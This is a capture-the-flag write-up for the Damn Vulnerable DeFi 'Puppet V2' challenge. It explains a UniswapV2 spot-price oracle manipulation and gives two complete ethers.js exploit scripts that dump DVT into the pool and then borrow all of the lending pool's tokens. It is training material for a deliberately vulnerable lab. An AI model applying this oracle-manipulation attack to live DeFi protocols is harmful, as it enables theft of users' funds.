09.Puppet V2
2023-06-23 20:22:08 # 05.Damn Vulnerable DeFi v2 CTF

Puppet V2

analyse

the whole analyse

This challenge requires to be familiar with (at least) the following UniswapV2 smart contracts:

In this challenge, there’s a pair contract (liquidity pool) between WETH and DVT from where PuppetV2 gets the price of the DVT tokens when some user wants to borrow(), calculating the deposit of WETH required by calling UniswapV2Library (line 89):

1
2
3
4
5
6
7
8
9
function _getOracleQuote(uint256 amount) private view returns (uint256) {
(uint256 reservesWETH, uint256 reservesToken) = UniswapV2Library
.getReserves(_uniswapFactory, address(_weth), address(_token));
return UniswapV2Library.quote(
amount.mul(10**18),
reservesToken,
reservesWETH
);
}

The math behind the UniswapV2 liquidity pool contract for calculating the cost of an asset can be found on the quote() function of the UniswapV2Library contract:

1
2
3
4
5
6
7
8
function quote(uint amountA, uint reserveA, uint reserveB) internal pure returns (uint amountB) {       
require(amountA > 0, 'UniswapV2Library: INSUFFICIENT_AMOUNT');
require(
reserveA > 0 && reserveB > 0,
'UniswapV2Library:INSUFFICIENT_LIQUIDITY'
);
amountB = amountA.mul(reserveB) / reserveA;
}

Now, since the attacker has a big amount of DVT tokens, he’s able to manipulate the price of the DVT by swapping them all with WETH on the Uniswap exchange of the pair DVT/WETH. To devaluate its price, the attacker has to increase the amount of DVT and decrease the amount of WETH in the pool. So, similar to previous level Puppet, the vulnerability of this challenge lies upon the ability of a singular entity to change an asset’s price drastically.

  • it uses Uniswap v2 as a price oracle
  • the assets in the liquidity pool are WETH / DVT
  • initial:the asset ratio is 10 / 100

attack

1.Swap all of the attacker DVT tokens with WETH in the Uniswap exchange (pair) contract:Approve all attacker’s DVT balance to UniswapRouter contract, and Swap all DVT tokens with WETH using the UniswapRouter contract.

1
2
3
4
5
6
7
8
9
await this.token.connect(attacker).approve(this.uniswapRouter.address, ATTACKER_INITIAL_TOKEN_BALANCE);
// 在交易所置换自己所有的token
await this.uniswapRouter.connect(attacker).swapExactTokensForETH(
ATTACKER_INITIAL_TOKEN_BALANCE,
0,
[this.token.address, this.uniswapRouter.WETH()],
attacker.address,
9999999999
);

2.Get the extra WETH needed to borrow by depositing some ETH to the WETH contract

1
2
const amount = await this.lendingPool.calculateDepositOfWETHRequired(POOL_INITIAL_TOKEN_BALANCE);
await this.weth.connect(attacker).deposit({value:amount});

3.Finally, borrow all the tokens. And we should call the approve() to make sure borrow() can be excuted.

1
2
await this.weth.connect(attacker).approve(this.lendingPool.address, amount);
await this.lendingPool.connect(attacker).borrow(POOL_INITIAL_TOKEN_BALANCE);

solutions

  • solution 1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
it('Exploit', async function () {
/** CODE YOUR EXPLOIT HERE */

console.log(
'WETH REQUIRED BEFORE SWAP: ',
String(await this.lendingPool.calculateDepositOfWETHRequired(POOL_INITIAL_TOKEN_BALANCE))
)

// Approve all attacker's DVT balance to UniswapRouter contract.
await this.token
.connect(attacker)
.approve(this.uniswapRouter.address, ATTACKER_INITIAL_TOKEN_BALANCE)

// Swap all DVT tokens with WETH using the UniswapRouter contract.
await this.uniswapRouter.connect(attacker).swapExactTokensForTokens(
ATTACKER_INITIAL_TOKEN_BALANCE, // amountIn
0, // amountOutMin
[this.token.address, this.weth.address], // [tokenFromUserToPool, tokenFromPoolToUser]
attacker.address, // to
(await ethers.provider.getBlock('latest')).timestamp * 2 // arbitrary deadline
)

// Get the extra WETH needed by interacting with WETH9 contract
await this.weth.connect(attacker).deposit({value: ethers.utils.parseEther('19.6')})

// Borrow all DVT tokens from pool (~29.5 WETH)
const wethRequired = await this.lendingPool.calculateDepositOfWETHRequired(
POOL_INITIAL_TOKEN_BALANCE
)
await this.weth.connect(attacker).approve(this.lendingPool.address, wethRequired)
await this.lendingPool.connect(attacker).borrow(POOL_INITIAL_TOKEN_BALANCE)

console.log('WETH REQUIRED AFTER SWAP: ', String(wethRequired))

});
  • solution 2
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
await this.token.connect(attacker).approve(this.uniswapRouter.address, ATTACKER_INITIAL_TOKEN_BALANCE);
// 在交易所置换自己所有的token
await this.uniswapRouter.connect(attacker).swapExactTokensForETH(
ATTACKER_INITIAL_TOKEN_BALANCE,
0,
[this.token.address, this.uniswapRouter.WETH()],
attacker.address,
9999999999
);

console.log('Attacker`s balance:', (await ethers.provider.getBalance(attacker.address)).toString());
//计算borrow所有token所需要的eth
const amount = await this.lendingPool.calculateDepositOfWETHRequired(POOL_INITIAL_TOKEN_BALANCE);
//先往钱包里存钱
await this.weth.connect(attacker).deposit({value:amount});
await this.weth.connect(attacker).approve(this.lendingPool.address, amount);
await this.lendingPool.connect(attacker).borrow(POOL_INITIAL_TOKEN_BALANCE);